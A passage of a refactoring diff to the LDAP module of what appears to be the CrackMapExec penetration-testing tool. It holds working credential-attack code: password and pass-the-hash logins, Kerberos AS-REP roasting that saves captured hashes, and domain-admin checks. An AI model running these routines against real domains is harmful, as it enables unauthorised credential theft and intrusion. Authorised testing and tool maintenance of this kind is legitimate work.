targetDomain = sub(',DC=', '.', baseDN[baseDN.lower().find('dc='):], flags=I)[3:] target_domain = sub(',DC=', '.', base_dn[base_dn.lower().find('dc='):], flags=I)[3:]
if str(attribute['type']) == 'dnsHostName': if str(attribute['type']) == 'dnsHostName':
target = str(attribute['vals'][0]) target = str(attribute['vals'][0])
except Exception as e: except Exception as e:
@ -208,12 +226,12 @@ class ldap(connection):
except OSError as e: except OSError as e:
return [None, None, None] return [None, None, None]
return [target, targetDomain, baseDN] return [target, target_domain, base_dn]
def get_os_arch(self): def get_os_arch(self):
try: try:
stringBinding = r'ncacn_ip_tcp:{}[135]'.format(self.host) string_binding = r'ncacn_ip_tcp:{}[135]'.format(self.host)
transport = DCERPCTransportFactory(stringBinding) transport = DCERPCTransportFactory(string_binding)
transport.set_connect_timeout(5) transport.set_connect_timeout(5)
dce = transport.get_dce_rpc() dce = transport.get_dce_rpc()
if self.args.kerberos: if self.args.kerberos:
@ -221,30 +239,29 @@ class ldap(connection):
dce.connect() dce.connect()
try: try:
dce.bind(MSRPC_UUID_PORTMAP, transfer_syntax=('71710533-BEBA-4937-8319-B5DBEF9CCC36', '1.0')) dce.bind(MSRPC_UUID_PORTMAP, transfer_syntax=('71710533-BEBA-4937-8319-B5DBEF9CCC36', '1.0'))
except (DCERPCException, e): except DCERPCException as e:
if str(e).find('syntaxes_not_supported') >= 0: if str(e).find('syntaxes_not_supported') >= 0:
dce.disconnect() dce.disconnect()
return 32 return 32
else: else:
dce.disconnect() dce.disconnect()
return 64 return 64
except Exception as e: except Exception as e:
logging.debug('Error retrieving os arch of {}: {}'.format(self.host, str(e))) logging.debug('Error retrieving os arch of {}: {}'.format(self.host, str(e)))
return 0 return 0
def get_ldap_username(self): def get_ldap_username(self):
extendedRequest = ldapasn1_impacket.ExtendedRequest() extended_request = ldapasn1_impacket.ExtendedRequest()
extendedRequest['requestName'] = '1.3.6.1.4.1.4203.1.11.3' # whoami extended_request['requestName'] = '1.3.6.1.4.1.4203.1.11.3' # whoami
response = self.ldapConnection.sendReceive(extendedRequest) response = self.ldapConnection.sendReceive(extended_request)
for message in response: for message in response:
searchResult = message['protocolOp'].getComponent() search_result = message['protocolOp'].getComponent()
if searchResult['resultCode'] == ldapasn1_impacket.ResultCode('success'): if search_result['resultCode'] == ldapasn1_impacket.ResultCode('success'):
responseValue = searchResult['responseValue'] response_value = search_result['responseValue']
if responseValue.hasValue(): if response_value.hasValue():
value = responseValue.asOctets().decode(responseValue.encoding)[2:] value = response_value.asOctets().decode(response_value.encoding)[2:]
return value.split('\\')[1] return value.split('\\')[1]
return '' return ''
@ -261,37 +278,33 @@ class ldap(connection):
try: try:
self.conn.login('', '') self.conn.login('', '')
except BrokenPipeError as e: except BrokenPipeError as e:
self.logger.error(f"Broken Pipe Error while attempting to login") self.logger.error(f"Broken Pipe Error while attempting to login: {e}")
except Exception as e: except Exception as e:
if "STATUS_NOT_SUPPORTED" in str(e): if "STATUS_NOT_SUPPORTED" in str(e):
self.no_ntlm = True self.no_ntlm = True
pass pass
if not self.no_ntlm: if not self.no_ntlm:
self.domain = self.conn.getServerDNSDomainName() self.domain = self.conn.getServerDNSDomainName()
self.hostname = self.conn.getServerName() self.hostname = self.conn.getServerName()
self.server_os = self.conn.getServerOS() self.server_os = self.conn.getServerOS()
self.signing = self.conn.isSigningRequired() if self.smbv1 else self.conn._SMBConnection._Connection['RequireSigning'] self.signing = self.conn.isSigningRequired() if self.smbv1 else self.conn._SMBConnection._Connection['RequireSigning']
self.os_arch = self.get_os_arch() self.os_arch = self.get_os_arch()
if not self.domain: if not self.domain:
self.domain = self.hostname self.domain = self.hostname
try: try:
'''plaintext_login # DC's seem to want us to logoff first, windows workstations sometimes reset the connection
DC's seem to want us to logoff first, windows workstations sometimes reset the connection
(go home Windows, you're drunk)
'''
self.conn.logoff() self.conn.logoff()
except: except:
pass pass
if self.args.domain: if self.args.domain:
self.domain = self.args.domain self.domain = self.args.domain
if self.args.local_auth: if self.args.local_auth:
self.domain = self.hostname self.domain = self.hostname
#Re-connect since we logged off # Re-connect since we logged off
self.create_conn_obj() self.create_conn_obj()
self.output_filename = os.path.expanduser('~/.cme/logs/{}_{}_{}'.format(self.hostname, self.host, datetime.now().strftime("%Y-%m-%d_%H%M%S"))) self.output_filename = os.path.expanduser('~/.cme/logs/{}_{}_{}'.format(self.hostname, self.host, datetime.now().strftime("%Y-%m-%d_%H%M%S")))
self.output_filename = self.output_filename.replace(":", "-") self.output_filename = self.output_filename.replace(":", "-")
@ -301,21 +314,23 @@ class ldap(connection):
self.logger.extra['protocol'] = "LDAP" self.logger.extra['protocol'] = "LDAP"
self.logger.extra['port'] = "389" self.logger.extra['port'] = "389"
self.logger.info(u"Connecting to LDAP {}".format(self.hostname)) self.logger.info(u"Connecting to LDAP {}".format(self.hostname))
#self.logger.info(self.endpoint) # self.logger.info(self.endpoint)
else: else:
self.logger.extra['protocol'] = "SMB" if not self.no_ntlm else "LDAP" self.logger.extra['protocol'] = "SMB" if not self.no_ntlm else "LDAP"
self.logger.extra['port'] = "445" if not self.no_ntlm else "389" self.logger.extra['port'] = "445" if not self.no_ntlm else "389"
self.logger.info(u"{}{} (name:{}) (domain:{}) (signing:{}) (SMBv1:{})".format(self.server_os, self.logger.info(u"{}{} (name:{}) (domain:{}) (signing:{}) (SMBv1:{})".format(
' x{}'.format(self.os_arch) if self.os_arch else '', self.server_os,
self.hostname, ' x{}'.format(self.os_arch) if self.os_arch else '',
self.domain, self.hostname,
self.signing, self.domain,
self.smbv1)) self.signing,
self.smbv1)
)
self.logger.extra['protocol'] = "LDAP" self.logger.extra['protocol'] = "LDAP"
#self.logger.info(self.endpoint) # self.logger.info(self.endpoint)
return True return True
def kerberos_login(self, domain, username, password = '', ntlm_hash = '', aesKey = '', kdcHost = '', useCache = False): def kerberos_login(self, domain, username, password='', ntlm_hash='', aesKey='', kdcHost='', useCache=False):
logging.getLogger("impacket").disabled = True logging.getLogger("impacket").disabled = True
self.username = username self.username = username
self.password = password self.password = password
@ -326,22 +341,24 @@ class ldap(connection):
lmhash = '' lmhash = ''
nthash = '' nthash = ''
self.username = username self.username = username
#This checks to see if we didn't provide the LM Hash # This checks to see if we didn't provide the LM Hash
if ntlm_hash.find(':') != -1: if ntlm_hash.find(':') != -1:
lmhash, nthash = ntlm_hash.split(':') lmhash, nthash = ntlm_hash.split(':')
self.hash = nthash self.hash = nthash
else: else:
nthash = ntlm_hash nthash = ntlm_hash
self.hash = ntlm_hash self.hash = ntlm_hash
if lmhash: self.lmhash = lmhash if lmhash:
if nthash: self.nthash = nthash self.lmhash = lmhash
if nthash:
self.nthash = nthash
if self.password == '' and self.args.asreproast: if self.password == '' and self.args.asreproast:
hash_TGT = KerberosAttacks(self).getTGT_asroast(self.username) hash_tgt = KerberosAttacks(self).getTGT_asroast(self.username)
if hash_TGT: if hash_tgt:
self.logger.highlight(u'{}'.format(hash_TGT)) self.logger.highlight(u'{}'.format(hash_tgt))
with open(self.args.asreproast, 'a+') as hash_asreproast: with open(self.args.asreproast, 'a+') as hash_asreproast:
hash_asreproast.write(hash_TGT + '\n') hash_asreproast.write(hash_tgt + '\n')
return False return False
if not all('' == s for s in [self.nthash, password, aesKey]): if not all('' == s for s in [self.nthash, password, aesKey]):
@ -352,21 +369,32 @@ class ldap(connection):
try: try:
# Connect to LDAP # Connect to LDAP
proto = "ldaps" if (self.args.gmsa or self.args.port == 636) else "ldap" proto = "ldaps" if (self.args.gmsa or self.args.port == 636) else "ldap"
self.ldapConnection = ldap_impacket.LDAPConnection(proto + '://%s' % self.target, self.baseDN) ldap_url = f"{proto}://{self.target}"
self.ldapConnection.kerberosLogin(username, password, domain, self.lmhash, self.nthash, logging.debug(f"Connecting to {ldap_url} - {self.baseDN} [1]")
aesKey, kdcHost=kdcHost, useCache=useCache) self.ldapConnection = ldap_impacket.LDAPConnection(ldap_url, self.baseDN)
self.ldapConnection.kerberosLogin(
username,
password,
domain,
self.lmhash,
self.nthash,
aesKey,
kdcHost=kdcHost,
useCache=useCache
)
if self.username == '': if self.username == '':
self.username = self.get_ldap_username() self.username = self.get_ldap_username()
self.check_if_admin() self.check_if_admin()
out = u'{}\\{}{} {}'.format(domain, out = u'{}\\{}{} {}'.format(
self.username, domain,
# Show what was used between cleartext, nthash, aesKey and ccache self.username,
" from ccache" if useCache # Show what was used between cleartext, nthash, aesKey and ccache
else ":%s" % (kerb_pass if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8), " from ccache" if useCache else ":%s" % (kerb_pass if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8),
highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else '')) highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else '')
)
self.logger.extra['protocol'] = "LDAP" self.logger.extra['protocol'] = "LDAP"
self.logger.extra['port'] = "636" if (self.args.gmsa or self.args.port == 636) else "389" self.logger.extra['port'] = "636" if (self.args.gmsa or self.args.port == 636) else "389"
@ -378,37 +406,51 @@ class ldap(connection):
return True return True
except SessionKeyDecryptionError: except SessionKeyDecryptionError:
# for PRE-AUTH account # for PRE-AUTH account
self.logger.error(u'{}\\{}{} {}'.format(domain, self.logger.error(u'{}\\{}{} {}'.format(
self.username, domain,
" account vulnerable to asreproast attack", self.username,
""), " account vulnerable to asreproast attack",
color='yellow') ""),
color='yellow'
)
return False return False
except SessionError as e: except SessionError as e:
error, desc = e.getErrorString() error, desc = e.getErrorString()
self.logger.error(u'{}\\{}{} {}'.format(self.domain, self.logger.error(u'{}\\{}{} {}'.format(
self.username, self.domain,
" from ccache" if useCache self.username,
else ":%s" % (kerb_pass if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8), " from ccache" if useCache else ":%s" % (kerb_pass if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8),
str(error)), str(error)),
color='magenta' if error in ldap_error_status else 'red') color='magenta' if error in ldap_error_status else 'red'
)
return False return False
except (KeyError, KerberosException, OSError) as e: except (KeyError, KerberosException, OSError) as e:
self.logger.error(u'{}\\{}{} {}'.format(self.domain, self.logger.error(u'{}\\{}{} {}'.format(
self.username, self.domain,
" from ccache" if useCache self.username,
else ":%s" % (kerb_pass if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8), " from ccache" if useCache else ":%s" % (kerb_pass if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8),
str(e)), str(e)),
color='red') color='red'
)
return False return False
except ldap_impacket.LDAPSessionError as e: except ldap_impacket.LDAPSessionError as e:
if str(e).find('strongerAuthRequired') >= 0: if str(e).find('strongerAuthRequired') >= 0:
# We need to try SSL # We need to try SSL
try: try:
# Connect to LDAPS # Connect to LDAPS
self.ldapConnection = ldap_impacket.LDAPConnection('ldaps://%s' % self.target, self.baseDN) ldaps_url = f"ldaps://{self.target}"
self.ldapConnection.kerberosLogin(username, password, domain, self.lmhash, self.nthash, logging.debug(f"Connecting to {ldaps_url} - {self.baseDN} [2]")
aesKey, kdcHost=kdcHost, useCache=useCache) self.ldapConnection = ldap_impacket.LDAPConnection(ldaps_url, self.baseDN)
self.ldapConnection.kerberosLogin(
username,
password,
domain,
self.lmhash,
self.nthash,
aesKey,
kdcHost=kdcHost,
useCache=useCache
)
if self.username == '': if self.username == '':
self.username = self.get_ldap_username() self.username = self.get_ldap_username()
@ -416,11 +458,12 @@ class ldap(connection):
self.check_if_admin() self.check_if_admin()
# Prepare success credential text # Prepare success credential text
out = u'{}\\{}{} {}'.format(domain, out = u'{}\\{}{} {}'.format(
self.username, domain,
" from ccache" if useCache self.username,
else ":%s" % (kerb_pass if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8), " from ccache" if useCache else ":%s" % (kerb_pass if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8),
highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else '')) highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else '')
)
if self.username == '': if self.username == '':
self.username = self.get_ldap_username() self.username = self.get_ldap_username()
@ -428,9 +471,11 @@ class ldap(connection):
self.check_if_admin() self.check_if_admin()
# Prepare success credential text # Prepare success credential text
out = u'{}\\{} {}'.format(domain, out = u'{}\\{} {}'.format(
self.username, domain,
highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else '')) self.username,
highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else '')
)
self.logger.extra['protocol'] = "LDAPS" self.logger.extra['protocol'] = "LDAPS"
self.logger.extra['port'] = "636" self.logger.extra['port'] = "636"
@ -441,30 +486,34 @@ class ldap(connection):
if not self.args.continue_on_success: if not self.args.continue_on_success:
return True return True
except ldap_impacket.LDAPSessionError as e: except ldap_impacket.LDAPSessionError as e:
errorCode = str(e).split()[-2][:-1] error_code = str(e).split()[-2][:-1]
self.logger.error(u'{}\\{}:{} {}'.format(self.domain, self.logger.error(u'{}\\{}:{} {}'.format(
self.username, self.domain,
self.password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8, self.username,
ldap_error_status[errorCode] if errorCode in ldap_error_status else ''), self.password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8,
color='magenta' if errorCode in ldap_error_status else 'red') ldap_error_status[error_code] if error_code in ldap_error_status else ''),
color='magenta' if error_code in ldap_error_status else 'red'
)
return False return False
except SessionError as e: except SessionError as e:
error, desc = e.getErrorString() error, desc = e.getErrorString()
self.logger.error(u'{}\\{}{} {}'.format(self.domain, self.logger.error(u'{}\\{}{} {}'.format(
self.username, self.domain,
" from ccache" if useCache self.username,
else ":%s" % (kerb_pass if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8), " from ccache" if useCache else ":%s" % (kerb_pass if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8),
str(error)), str(error)),
color='magenta' if error in ldap_error_status else 'red') color='magenta' if error in ldap_error_status else 'red'
)
return False return False
else: else:
errorCode = str(e).split()[-2][:-1] error_code = str(e).split()[-2][:-1]
self.logger.error(u'{}\\{}{} {}'.format(self.domain, self.logger.error(u'{}\\{}{} {}'.format(
self.username, self.domain,
" from ccache" if useCache self.username,
else ":%s" % (kerb_pass if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8), " from ccache" if useCache else ":%s" % (kerb_pass if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8),
ldap_error_status[errorCode] if errorCode in ldap_error_status else ''), ldap_error_status[error_code] if error_code in ldap_error_status else ''),
color='magenta' if errorCode in ldap_error_status else 'red') color='magenta' if error_code in ldap_error_status else 'red'
)
return False return False
def plaintext_login(self, domain, username, password): def plaintext_login(self, domain, username, password):
@ -473,25 +522,29 @@ class ldap(connection):
self.domain = domain self.domain = domain
if self.password == '' and self.args.asreproast: if self.password == '' and self.args.asreproast:
hash_TGT = KerberosAttacks(self).getTGT_asroast(self.username) hash_tgt = KerberosAttacks(self).getTGT_asroast(self.username)
if hash_TGT: if hash_tgt:
self.logger.highlight(u'{}'.format(hash_TGT)) self.logger.highlight(u'{}'.format(hash_tgt))
with open(self.args.asreproast, 'a+') as hash_asreproast: with open(self.args.asreproast, 'a+') as hash_asreproast:
hash_asreproast.write(hash_TGT + '\n') hash_asreproast.write(hash_tgt + '\n')
return False return False
try: try:
# Connect to LDAP # Connect to LDAP
proto = "ldaps" if (self.args.gmsa or self.args.port == 636) else "ldap" proto = "ldaps" if (self.args.gmsa or self.args.port == 636) else "ldap"
self.ldapConnection = ldap_impacket.LDAPConnection(proto + '://%s' % self.target, self.baseDN) ldap_url = f"{proto}://{self.target}"
logging.debug(f"Connecting to {ldap_url} - {self.baseDN} [3]")
self.ldapConnection = ldap_impacket.LDAPConnection(ldap_url, self.baseDN)
self.ldapConnection.login(self.username, self.password, self.domain, self.lmhash, self.nthash) self.ldapConnection.login(self.username, self.password, self.domain, self.lmhash, self.nthash)
self.check_if_admin() self.check_if_admin()
# Prepare success credential text # Prepare success credential text
out = u'{}\\{}:{} {}'.format(domain, out = u'{}\\{}:{} {}'.format(
self.username, domain,
self.password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8, self.username,
highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else '')) self.password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8,
highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else '')
)
self.logger.extra['protocol'] = "LDAP" self.logger.extra['protocol'] = "LDAP"
self.logger.extra['port'] = "636" if (self.args.gmsa or self.args.port == 636) else "389" self.logger.extra['port'] = "636" if (self.args.gmsa or self.args.port == 636) else "389"
@ -501,21 +554,24 @@ class ldap(connection):
add_user_bh(self.username, self.domain, self.logger, self.config) add_user_bh(self.username, self.domain, self.logger, self.config)
if not self.args.continue_on_success: if not self.args.continue_on_success:
return True return True
except ldap_impacket.LDAPSessionError as e: except ldap_impacket.LDAPSessionError as e:
if str(e).find('strongerAuthRequired') >= 0: if str(e).find('strongerAuthRequired') >= 0:
# We need to try SSL # We need to try SSL
try: try:
# Connect to LDAPS # Connect to LDAPS
self.ldapConnection = ldap_impacket.LDAPConnection('ldaps://%s' % self.target, self.baseDN) ldaps_url = f"{proto}://{self.target}"
logging.debug(f"Connecting to {ldaps_url} - {self.baseDN} [4]")
self.ldapConnection = ldap_impacket.LDAPConnection(ldaps_url, self.baseDN)
self.ldapConnection.login(self.username, self.password, self.domain, self.lmhash, self.nthash) self.ldapConnection.login(self.username, self.password, self.domain, self.lmhash, self.nthash)
self.check_if_admin() self.check_if_admin()
# Prepare success credential text # Prepare success credential text
out = u'{}\\{}:{} {}'.format(domain, out = u'{}\\{}:{} {}'.format(
self.username, domain,
self.password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8, self.username,
highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else '')) self.password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8,
highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else '')
)
self.logger.extra['protocol'] = "LDAPS" self.logger.extra['protocol'] = "LDAPS"
self.logger.extra['port'] = "636" self.logger.extra['port'] = "636"
self.logger.success(out) self.logger.success(out)
@ -525,68 +581,79 @@ class ldap(connection):
if not self.args.continue_on_success: if not self.args.continue_on_success:
return True return True
except ldap_impacket.LDAPSessionError as e: except ldap_impacket.LDAPSessionError as e:
errorCode = str(e).split()[-2][:-1] error_code = str(e).split()[-2][:-1]
self.logger.error(u'{}\\{}:{} {}'.format(self.domain, self.logger.error(u'{}\\{}:{} {}'.format(
self.username, self.domain,
self.password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8, self.username,
ldap_error_status[errorCode] if errorCode in ldap_error_status else ''), self.password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8,
color='magenta' if (errorCode in ldap_error_status and errorCode != 1) else 'red') ldap_error_status[error_code] if error_code in ldap_error_status else ''),
color='magenta' if (error_code in ldap_error_status and error_code != 1) else 'red'
)
else: else:
errorCode = str(e).split()[-2][:-1] error_code = str(e).split()[-2][:-1]
self.logger.error(u'{}\\{}:{} {}'.format(self.domain, self.logger.error(u'{}\\{}:{} {}'.format(
self.username, self.domain,
self.password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8, self.username,
ldap_error_status[errorCode] if errorCode in ldap_error_status else ''), self.password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8,
color='magenta' if (errorCode in ldap_error_status and errorCode != 1) else 'red') ldap_error_status[error_code] if error_code in ldap_error_status else ''),
color='magenta' if (error_code in ldap_error_status and error_code != 1) else 'red'
)
return False return False
except OSError as e: except OSError as e:
self.logger.error(u'{}\\{}:{} {}'.format(self.domain, self.logger.error(u'{}\\{}:{} {} \nError: {}'.format(
self.username, self.domain,
self.password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8, self.username,
"Error connecting to the domain, are you sure LDAP service is running on the target ?")) self.password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8,
"Error connecting to the domain, are you sure LDAP service is running on the target?",
e
))
return False return False
def hash_login(self, domain, username, ntlm_hash): def hash_login(self, domain, username, ntlm_hash):
self.logger.extra['protocol'] = "LDAP" self.logger.extra['protocol'] = "LDAP"
self.logger.extra['port'] = "389" self.logger.extra['port'] = "389"
lmhash = '' lmhash = ""
nthash = '' nthash = ""
#This checks to see if we didn't provide the LM Hash # This checks to see if we didn't provide the LM Hash
if ntlm_hash.find(':') != -1: if ntlm_hash.find(':') != -1:
lmhash, nthash = ntlm_hash.split(':') lmhash, nthash = ntlm_hash.split(':')
else: else:
nthash = ntlm_hash nthash = ntlm_hash
self.hash = ntlm_hash self.hash = ntlm_hash
if lmhash: self.lmhash = lmhash if lmhash:
if nthash: self.nthash = nthash self.lmhash = lmhash
if nthash:
self.nthash = nthash
self.username = username self.username = username
self.domain = domain self.domain = domain
if self.hash == '' and self.args.asreproast: if self.hash == '' and self.args.asreproast:
hash_TGT = KerberosAttacks(self).getTGT_asroast(self.username) hash_tgt = KerberosAttacks(self).getTGT_asroast(self.username)
if hash_TGT: if hash_tgt:
self.logger.highlight(u'{}'.format(hash_TGT)) self.logger.highlight(u'{}'.format(hash_tgt))
with open(self.args.asreproast, 'a+') as hash_asreproast: with open(self.args.asreproast, 'a+') as hash_asreproast:
hash_asreproast.write(hash_TGT + '\n') hash_asreproast.write(hash_tgt + '\n')
return False return False
try: try:
# Connect to LDAP # Connect to LDAP
proto = "ldaps" if (self.args.gmsa or self.args.port == 636) else "ldap" proto = "ldaps" if (self.args.gmsa or self.args.port == 636) else "ldap"
self.ldapConnection = ldap_impacket.LDAPConnection(proto + '://%s' % self.target, self.baseDN) ldaps_url = f"{proto}://{self.target}"
logging.debug(f"Connecting to {ldaps_url} - {self.baseDN}")
self.ldapConnection = ldap_impacket.LDAPConnection(ldaps_url, self.baseDN)
self.ldapConnection.login(self.username, self.password, self.domain, self.lmhash, self.nthash) self.ldapConnection.login(self.username, self.password, self.domain, self.lmhash, self.nthash)
self.check_if_admin() self.check_if_admin()
# Prepare success credential text # Prepare success credential text
out = u'{}\\{}:{} {}'.format(domain, out = u'{}\\{}:{} {}'.format(
self.username, domain,
self.nthash if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8, self.username,
highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else '')) self.nthash if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8,
highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else '')
)
self.logger.extra['protocol'] = "LDAP" self.logger.extra['protocol'] = "LDAP"
self.logger.extra['port'] = "636" if (self.args.gmsa or self.args.port == 636) else "389" self.logger.extra['port'] = "636" if (self.args.gmsa or self.args.port == 636) else "389"
self.logger.success(out) self.logger.success(out)
@ -599,15 +666,19 @@ class ldap(connection):
if str(e).find('strongerAuthRequired') >= 0: if str(e).find('strongerAuthRequired') >= 0:
try: try:
# We need to try SSL # We need to try SSL
self.ldapConnection = ldap_impacket.LDAPConnection('ldaps://%s' % self.target, self.baseDN) ldaps_url = f"{proto}://{self.target}"
logging.debug(f"Connecting to {ldaps_url} - {self.baseDN}")
self.ldapConnection = ldap_impacket.LDAPConnection(ldaps_url, self.baseDN)
self.ldapConnection.login(self.username, self.password, self.domain, self.lmhash, self.nthash) self.ldapConnection.login(self.username, self.password, self.domain, self.lmhash, self.nthash)
self.check_if_admin() self.check_if_admin()
# Prepare success credential text # Prepare success credential text
out = u'{}\\{}:{} {}'.format(domain, out = u'{}\\{}:{} {}'.format(
self.username, domain,
self.nthash if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8, self.username,
highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else '')) self.nthash if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8,
highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else '')
)
self.logger.extra['protocol'] = "LDAPS" self.logger.extra['protocol'] = "LDAPS"
self.logger.extra['port'] = "636" self.logger.extra['port'] = "636"
self.logger.success(out) self.logger.success(out)
@ -617,25 +688,32 @@ class ldap(connection):
if not self.args.continue_on_success: if not self.args.continue_on_success:
return True return True
except ldap_impacket.LDAPSessionError as e: except ldap_impacket.LDAPSessionError as e:
errorCode = str(e).split()[-2][:-1] error_code = str(e).split()[-2][:-1]
self.logger.error(u'{}\\{}:{} {}'.format(self.domain, self.logger.error(u'{}\\{}:{} {}'.format(
self.username, self.domain,
nthash if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8, self.username,
ldap_error_status[errorCode] if errorCode in ldap_error_status else ''), nthash if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8,
color='magenta' if (errorCode in ldap_error_status and errorCode != 1) else 'red') ldap_error_status[error_code] if error_code in ldap_error_status else ''),
color='magenta' if (error_code in ldap_error_status and error_code != 1) else 'red'
)
else: else:
errorCode = str(e).split()[-2][:-1] error_code = str(e).split()[-2][:-1]
self.logger.error(u'{}\\{}:{} {}'.format(self.domain, self.logger.error(u'{}\\{}:{} {}'.format(
self.username, self.domain,
nthash if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8, self.username,
ldap_error_status[errorCode] if errorCode in ldap_error_status else ''), nthash if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8,
color='magenta' if (errorCode in ldap_error_status and errorCode != 1) else 'red') ldap_error_status[error_code] if error_code in ldap_error_status else ''),
color='magenta' if (error_code in ldap_error_status and error_code != 1) else 'red'
)
return False return False
except OSError as e: except OSError as e:
self.logger.error(u'{}\\{}:{} {}'.format(self.domain, self.logger.error(u'{}\\{}:{} {} \nError: {}'.format(
self.username, self.domain,
nthash if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8, self.username,
"Error connecting to the domain, are you sure LDAP service is running on the target ?")) self.password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8,
"Error connecting to the domain, are you sure LDAP service is running on the target?",
e
))
return False return False
def create_smbv1_conn(self): def create_smbv1_conn(self):
@ -678,7 +756,6 @@ class ldap(connection):
self.logger.highlight('Domain SID {}'.format(self.sid_domain)) self.logger.highlight('Domain SID {}'.format(self.sid_domain))
def sid_to_str(self, sid): def sid_to_str(self, sid):
try: try:
# revision # revision
revision = int(sid[0]) revision = int(sid[0])
@ -692,20 +769,17 @@ class ldap(connection):
# loop over the count of small endians # loop over the count of small endians
sub_authority = '-' + '-'.join([str(int.from_bytes(sid[8 + (i * 4): 12 + (i * 4)], byteorder='little')) for i in range(sub_authorities)]) sub_authority = '-' + '-'.join([str(int.from_bytes(sid[8 + (i * 4): 12 + (i * 4)], byteorder='little')) for i in range(sub_authorities)])
objectSid = 'S-' + str(revision) + '-' + str(identifier_authority) + sub_authority object_sid = 'S-' + str(revision) + '-' + str(identifier_authority) + sub_authority
return object_sid
return objectSid
except Exception: except Exception:
pass pass
return sid return sid
def check_if_admin(self): def check_if_admin(self):
# 1. get SID of the domaine # 1. get SID of the domaine
searchFilter = "(userAccountControl:1.2.840.113556.1.4.803:=8192)" search_filter = "(userAccountControl:1.2.840.113556.1.4.803:=8192)"
attributes= ["objectSid"] attributes = ["objectSid"]
resp = self.search(searchFilter, attributes, sizeLimit=0) resp = self.search(search_filter, attributes, sizeLimit=0)
answers = [] answers = []
if resp and self.password != '' and self.username != '': if resp and self.password != '' and self.username != '':
for attribute in resp[0][1]: for attribute in resp[0][1]:
@ -714,9 +788,9 @@ class ldap(connection):
self.sid_domain = '-'.join(sid.split('-')[:-1]) self.sid_domain = '-'.join(sid.split('-')[:-1])
# 2. get all group cn name # 2. get all group cn name
searchFilter = "(|(objectSid="+self.sid_domain+"-512)(objectSid="+self.sid_domain+"-544)(objectSid="+self.sid_domain+"-519)(objectSid=S-1-5-32-549)(objectSid=S-1-5-32-551))" search_filter = "(|(objectSid="+self.sid_domain+"-512)(objectSid="+self.sid_domain+"-544)(objectSid="+self.sid_domain+"-519)(objectSid=S-1-5-32-549)(objectSid=S-1-5-32-551))"
attributes= ["distinguishedName"] attributes = ["distinguishedName"]
resp = self.search(searchFilter, attributes, sizeLimit=0) resp = self.search(search_filter, attributes, sizeLimit=0)
answers = [] answers = []
for item in resp: for item in resp:
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True: if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
@ -725,10 +799,10 @@ class ldap(connection):
if str(attribute['type']) == 'distinguishedName': if str(attribute['type']) == 'distinguishedName':
answers.append(str("(memberOf:1.2.840.113556.1.4.1941:=" + attribute['vals'][0] + ")")) answers.append(str("(memberOf:1.2.840.113556.1.4.1941:=" + attribute['vals'][0] + ")"))
# 3. get memeber of these groups # 3. get member of these groups
searchFilter = "(&(objectCategory=user)(sAMAccountName=" + self.username + ")(|" + ''.join(answers) + "))" search_filter = "(&(objectCategory=user)(sAMAccountName=" + self.username + ")(|" + ''.join(answers) + "))"
attributes= [""] attributes = [""]
resp = self.search(searchFilter, attributes, sizeLimit=0) resp = self.search(search_filter, attributes, sizeLimit=0)
answers = [] answers = []
for item in resp: for item in resp:
